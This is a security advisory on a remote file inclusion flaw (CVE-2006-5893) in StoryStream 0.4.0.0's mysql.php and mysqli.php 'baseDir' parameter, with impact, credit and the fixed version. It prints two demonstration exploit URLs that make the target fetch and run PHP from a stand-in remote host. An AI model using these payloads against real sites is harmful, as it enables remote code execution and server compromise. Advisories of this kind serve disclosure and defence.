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Category:   Application (Generic)  >   StoryStream Vendors:   storystream.sourceforge.net
StoryStream Include File Bug in 'baseDir' Parameter Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1017252
SecurityTracker URL:  http://securitytracker.com/id/1017252
CVE Reference:   CVE-2006-5893   (Links to External Site)
Updated:  May 27 2008
Original Entry Date:  Nov 20 2006
Impact:   Execution of arbitrary code via network, User access via network
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): 0.4.0.0
Description:   A vulnerability was reported in StoryStream. A remote user can include and execute arbitrary code on the target system.

The 'mysql.php' and 'mysqli.php' scripts do not properly validate user-supplied input in the 'baseDir' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.

Some demonstration exploit URLs are provided:

http://[target]/path/include/classes/pear/DB/mysql.php?baseDir=http://EvElCoDe.txt?

http://[target]/path/include/classes/pear/DB/mysqli.php?baseDir=http://EvElCoDe.txt?

v1per-haCker reported this vulnerability.

The original advisory is available at:

http://www.milw0rm.com/exploits/2767

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
Solution:   The vendor has issued a fixed version (0.4.1.0).

The StoryStream advisory is available at:

http://sourceforge.net/forum/forum.php?forum_id=634743

Vendor URL:  sourceforge.net/forum/forum.php?forum_id=634743 (Links to External Site)
Cause:   Input validation error, State error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


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